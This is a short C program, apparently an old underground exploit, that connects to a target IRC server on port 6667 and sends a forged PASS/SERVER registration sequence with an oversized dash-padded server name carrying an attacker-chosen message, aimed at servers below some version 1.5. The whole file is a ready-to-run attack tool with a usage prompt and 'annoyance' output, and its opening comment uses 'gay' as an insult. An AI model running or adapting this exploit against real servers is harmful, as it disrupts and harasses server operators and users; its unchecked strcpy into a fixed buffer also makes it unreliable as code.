/* Here's some gay source code that sends pheared messages
   to CR <1.5 servers --REwT */
#include <stdio.h>
#include <sys/types.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
/*#include <netinet/protocols.h>*/
#include <string.h>

#define dport 6667

int x, s;
char str[800];
struct sockaddr_in addr;
struct hostent *host;

int open_sock(int sock, char *server, int port)
{
	 struct sockaddr_in blah;
	 struct hostent *he;
	 bzero((char *)&blah,sizeof(blah));
	 blah.sin_family=AF_INET;
	 blah.sin_addr.s_addr=inet_addr(server);
	 blah.sin_port=htons(port);



    if ((he = gethostbyname(server)) != NULL) {
		  bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
    }
    else {
	   if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
           perror("gethostbyname()");
           return(-3);
			}
    }

        if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
				 perror("connect()");
             close(sock);
				 return(-4);
        }
		  printf("Connected to [%s:%d].\n",server,port);
		  return;
}


void main(int argc, char *argv[]) {

     if (argc != 3) {
       printf("Usage: %s <target> <message>\n",argv[0]);
		 exit(0);
     }

     if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket()");
        exit(-1);
     }

     open_sock(s, argv[1], dport);

     printf("Sending annoyance... ");
       strcpy(str, "PASS :x\n");
       send(s, str, strlen(str), 0);
       strcpy(str, "SERVER ----------------------------------!"); 
       send(s, str, strlen(str), 0);
       strcpy(str, argv[2]);
       send(s, str, strlen(str), 0);
       strcpy(str, "!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 1 :bah\n");
       send(s, str, strlen(str), 0);
     printf("Done!\n");
     close(s);
}
